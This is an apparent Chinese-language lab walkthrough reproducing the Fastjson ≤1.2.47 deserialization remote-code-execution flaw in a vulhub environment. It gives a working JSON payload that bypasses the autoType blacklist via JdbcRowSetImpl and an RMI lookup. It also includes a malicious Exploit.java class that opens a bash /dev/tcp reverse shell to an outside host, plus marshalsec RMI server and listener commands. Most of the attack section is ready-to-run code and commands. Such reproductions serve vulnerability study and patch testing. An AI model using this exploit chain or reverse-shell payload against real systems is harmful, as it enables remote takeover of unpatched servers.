0x00 前言
fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。对版本小于1.2.48的版本通杀,autoType为关闭状态也可使用。 loadClass中默认cache设置为true,利用分为2步执行,首先使用java.lang.Class把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.JdbcRowSetImpl这个类,绕过了黑名单机制。
0x02 影响范围
Fastjson1.2.47以及之前的版本
0x03 环境搭建
Ubuntu搭建vulhub,一键启动就OK,地址https://vulhub.org/
成功搭建环境:
太菜也没啥油水,直接进入正题哇。
0x04 漏洞利用
靶机A:192.168.1.105
主机B:192.168.1.100:8888(启web服务)
主机C:192.168.1.100:9999(启rmi服务)
主机B、C可为同一主机(太菜,复现的时候老纠结)
总体流程:
靶机A收到攻击者发起的fastjson反序列化payload请求,触发反序列化漏洞,靶机A寻找rmi://主机C:9999/Exploit进行远程方法调用,rmi找到http://主机B:8888/Exploit.class 文件传递给靶机A,最终执行恶意java类Exploit.class 文件中的内容
fastjson反序列化payload:
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.1.100:9999/Exploit",
"autoCommit":true
}
}
恶意java类exploit文件内容:
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
使用javac编译Exploit.java
javac Exploit.java
主机B启web服务,存放恶意java类
构造url:如http://192.168.1.100/Exploit.class可直接下载:
主机C:借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类Exploit.class
marshalsec-0.0.3-SNAPSHOT-all.jar
链接:https://pan.baidu.com/s/1q3_8g1Ix3hgPRbhRljr3Og
提取码:g3wa
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.100:8888/#Exploit" 9999
此时rmi服务已就绪,等待接收靶机的请求
主机B:开启NC监听1888端口:
向靶机发送fastjson反序列化漏洞payload:
靶机A收到攻击者发起的fastjson反序列化payload请求,触发反序列化漏洞,靶机A寻找rmi://主机C:9999/Exploit(开启rmi的)进行远程方法调用,rmi找到http://主机B:8888/Exploit.class (web服务的)文件传递给靶机A,最终执行恶意java类Exploit.class 文件中的内容
反弹shell成功: